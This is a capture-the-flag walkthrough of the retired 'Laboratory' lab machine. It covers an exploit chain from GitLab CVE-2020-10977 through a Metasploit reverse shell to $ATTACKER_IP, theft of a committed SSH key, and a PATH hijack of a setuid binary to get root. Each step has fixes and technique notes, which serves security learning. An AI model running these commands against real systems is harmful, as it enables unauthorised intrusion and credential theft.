Laboratory
Summary
The target host ($TARGET) exposed a self-hosted GitLab Community Edition instance at git.laboratory.htb that had not been patched against CVE-2020-10977, a chained path-traversal and Ruby deserialization flaw. Open self-registration let me create a GitLab account without approval, then exploit that vulnerability to read GitLab's internal secret key and forge a signed payload that executed code as the git service account.
From that foothold I found an SSH private key committed by user 'dexter' into a GitLab repository named 'securedocker', used it to open an SSH session on the underlying Linux host, and discovered a setuid-root helper binary (/usr/local/bin/docker-security) that called chmod by name without an absolute path. Prepending a malicious chmod script to PATH caused the binary to execute my own code as root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <repo> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Service-version and default-script scan on the three open ports.
$ nmap -Pn -sV -sC -p 22,80,443 $TARGETAdd both virtual-host names to local resolution.
$ echo "$TARGET laboratory.htb git.laboratory.htb" | sudo tee -a /etc/hostsConfirm the redirect to git.laboratory.htb and the Apache version header.
$ curl -sk -I http://$TARGET/ | grep -i 'location\|server'Exact commands 2
Confirm that the sign-up page is publicly accessible.
$ curl -sk https://git.laboratory.htb/users/sign_up | grep -i 'register\|sign.up'Register my own account; the email domain must match whatever the server accepts.
$ curl -sk -c /tmp/gl_cookies.txt -X POST https://git.laboratory.htb/users \
-d "user[name]=$USERNAME&user[username]=${USERNAME}01&user[email]=${USERNAME}01@laboratory.htb&user[password]=$PASSWORD2"FixDisable GitLab open self-registrationHigh
Exact commands 2
The module reads secrets.yml, builds the deserialization payload, and delivers the shell automatically. Replace $ATTACKER_IP with your VPN interface address.
$ msfconsole -q -x "use exploit/multi/http/gitlab_file_read_rce; set RHOSTS git.laboratory.htb; set RPORT 443; set SSL true; set USERNAME attacker01; set PASSWORD $PASSWORD2; set LHOST $ATTACKER_IP; set LPORT 4444; run"Run inside the resulting Meterpreter/shell session to confirm execution as uid=998(git).
$ idFixUpgrade GitLab to a version patched against CVE-2020-10977Critical
Exact commands 4
From the git shell — enumerate all repository directories on disk to locate securedocker.
$ find /var/opt/gitlab/git-data/repositories -name '*.git' -type d 2>/dev/nullList commits in the target repo; replace the hash path with the one found for securedocker.
$ git -C /var/opt/gitlab/git-data/repositories/@hashed/<h2>/<h2>/<repo>.git log --all --onelinePrint the committed SSH private key to stdout.
$ git -C /var/opt/gitlab/git-data/repositories/@hashed/<h2>/<h2>/<repo>.git show HEAD:id_rsaOn my machine — create the key file with correct permissions and paste the key content.
$ install -m 600 /dev/null /tmp/dexter_laboratory_id_rsa && cat > /tmp/dexter_laboratory_id_rsaFixRemove dexter's SSH private key from the GitLab repository and rotate the key pairCritical
Exact commands 1
Authenticate as dexter and read the user flag. Flag value is <user.txt>.
$ chmod 600 /tmp/dexter_laboratory_id_rsa && ssh -i /tmp/dexter_laboratory_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dexter@$TARGET 'id; cat /home/dexter/user.txt'
uid=1000(dexter)Exact commands 3
From dexter's SSH session — enumerate all setuid-root binaries.
$ find / -perm -4000 -user root -type f 2>/dev/nullConfirm the binary references chmod without an absolute path.
$ strings /usr/local/bin/docker-security | grep chmodDelivers a root shell; swap /bin/bash -p for /bin/cat /root/root.txt to read the flag directly. Root flag is <root.txt>.
$ ssh -i /tmp/dexter_laboratory_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dexter@$TARGET 'd=$(mktemp -d); printf "#!/bin/sh\n/bin/bash -p\n" > "$d/chmod"; /usr/bin/chmod +x "$d/chmod"; PATH="$d:$PATH" /usr/local/bin/docker-security'FixRemove the SUID bit from docker-security and replace relative command references with absolute pathsCritical
Attack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 |
| 443/tcp | ssl/http Apache httpd 2.4.41 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.